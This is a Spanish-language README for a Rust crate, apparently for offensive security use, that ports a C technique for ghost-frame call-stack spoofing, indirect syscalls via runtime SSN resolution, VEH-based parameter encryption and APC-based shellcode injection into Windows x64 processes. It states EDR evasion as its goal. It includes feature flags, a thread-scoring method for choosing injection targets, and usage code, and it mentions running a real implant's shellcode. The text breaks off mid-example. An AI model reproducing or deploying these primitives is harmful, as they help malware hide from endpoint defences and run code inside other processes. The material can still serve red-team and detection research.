
Crate de Rust para suplantación de pila de llamadas con ghost-frame, syscalls indirectos en tiempo de ejecución e inyección APC en Windows x64. Proporciona resolución de SSN, emisión de stubs JIT y cifrado de parámetros basado en VEH para evasión de EDR.
Suplantación de pila de llamadas de fotogramas fantasma + llamadas al sistema indirectas en tiempo de ejecución para Windows x64 — portado a Rust.
Portado de LACUNA Chain (lacuna_chain.c) por Mohamed Alzhrani (0xmaz).
lacuna-rs es una crate Rust reutilizable que proporciona las mismas primitivas que el TTP original en C, estructurada para que pueda integrarse en cualquier proyecto Rust — como wsyscall-rs o syscalls-rs, pero con resolución de SSN en tiempo de ejecución, direccionamiento syscall;ret por función y suplantación de pila de fotogramas fantasma.
La característica
stack-spooffallará silenciosamente si la crate consumidora no se compila con punteros de marco.
Las primitivas de pisoteo de pila en chain.rs localizan la ranura de dirección de retorno de la persona que llama mediante mov rbp, {x} en ensamblador en línea. Esto requiere que la cadena RBP esté intacta. Rust (y la mayoría de los compiladores en modo release) omiten los punteros de marco por defecto.
build.rs establece force-frame-pointers=yes para la generación de código de esta propia crate, pero Cargo no puede propagar banderas del compilador a crates descendentes. Debes agregar esto a tu propio proyecto:
# .cargo/config.toml (en TU crate, NO en lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
Sin esto, stomp_plant() leerá basura de RBP y no hará nada (mejor caso) o corromperá la pila (peor caso). La crate no tiene forma de detectar en tiempo de ejecución si los punteros de marco están habilitados — simplemente no funcionará.
Si solo necesitas las primitivas de escaneo, resolución de SSN o inyección (sin suplantación de pila), puedes omitir la característica stack-spoof y este requisito no aplica.
| Primitiva | Función en C | Módulo en Rust |
|---|---|---|
| Análisis de secciones PE + exportaciones | pe_section(), pe_export() | pe |
Escaneo de región fantasma .pdata | scan_ghosts(), best_ghost() | scan |
Descubrimiento de gadget fantasma (jmp [rbx]) | scan_ghost_gadgets() | scan |
Buscador de hueco NOP en win32u | win32u_nop_gap() | scan |
| Buscador de anclaje BYOUD-MF | find_mf_target() | scan |
| Resolución de SSN (Hell's Gate / Halo's Gate) | resolve_ssn() | nt |
Localizador de syscall;ret por función | find_func_syscall() | nt |
| Emisión de stub de syscall indirecto JIT | alloc_stub() | stub |
| Redirección de stub hacia gadget fantasma | (en alloc_stub()) | stub |
| Cifrado de parámetros con VEH + breakpoint hardware | param_encrypt_veh(), pcrypt_arm() | veh |
| VEH guardián de cadena | chain_veh() | veh |
| Construcción de cadena LACUNA | build_chain() | chain |
| Pisoteo de pila (BYOUD-RT) | stomp_plant(), stomp_restore() | chain |
| Caminante de cadena (verificación) | lacuna_walk_chain() | chain |
| Inyección APC basada en secciones | do_inject_sapc() | inject |
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
| Característica | Descripción | ¿Requiere punteros de marco? |
|---|---|---|
syscalls (por defecto) | Resolución de SSN + emisión de stub JIT | No |
inject (por defecto) | Inyección APC basada en secciones (inject::inject_sapc) | No |
veh | Cifrado de parámetros con VEH + breakpoint hardware | No |
stack-spoof | Cadena de fotogramas fantasma LACUNA + pisoteo de pila | Sí |
no-std | Modo no_std (experimental) | No |
Cuando no hay características habilitadas, solo están disponibles las capas de escaneo/PE/NT.
cargo run --example scan
cargo run --example verify --features stack-spoof
Ejemplo de inyección con implante real - C2 estaba desconectado pero el Shellcode se ejecutó
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
Agrega --verbose para habilitar la salida de diagnóstico de VEH (volcados de pila, impresiones de registros):
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
En lugar de encolar APC a todos los hilos del proceso objetivo (lo que puede bloquear el proceso cuando demasiados hilos son alertados simultáneamente), inject_sapc utiliza un algoritmo de puntuación para seleccionar los mejores MAX_APC_THREADS (5) candidatos:
NtQueryInformationThread(ThreadCycleTime) — indicador principal de actividadNtQueryInformationThread(ThreadTimes) — tiempo de kernel + usuarioNtQueryInformationThread(ThreadSuspendCount) — los hilos no suspendidos reciben +300 de bonificación; los suspendidos obtienen -150 por cada suspensiónNtQueryInformationThread(ThreadBasicInformation) — los hilos con prioridad 8-10 reciben +150 de bonificación; las prioridades fuera de rango reciben -100 de penalizaciónLos hilos completamente inactivos (cero ciclos y cero tiempo de CPU) se omiten por completo. Los candidatos restantes se ordenan por puntuación (mayor primero, desempate por ciclos) y se truncan a los 5 primeros.
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// Escanear regiones fantasma
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} regiones fantasma en ntdll", n);
// Resolver SSN + syscall;ret para una función específica
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// Resolver SSN + la dirección syscall;ret de la propia función
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// Emitir JIT un stub: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (o jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret si se llamó a build_chain)
let stub = stub::make_stub(ssn, syscall_ret).expect("falló la asignación del stub");
// Convertir al tipo de puntero de función correspondiente y llamar
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
// Escanear ntdll/kernelbase/wow64/win32u en busca de regiones fantasma y construir
// la pila de llamadas falsa de seis capas. Establece G_GHOST_GADGET para que los stubs
// direccionen a través de JMP [RBX] en una DLL firmada.
lacuna::chain::build_chain();
// Registrar manejadores VEH (cifrado de parámetros + guardián de cadena)
let _veh = lacuna::veh::VehGuard::register().expect("Falló el registro de VEH");
// Opcional: habilitar diagnóstico detallado en tiempo de ejecución
lacuna::veh::set_verbose(true);
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;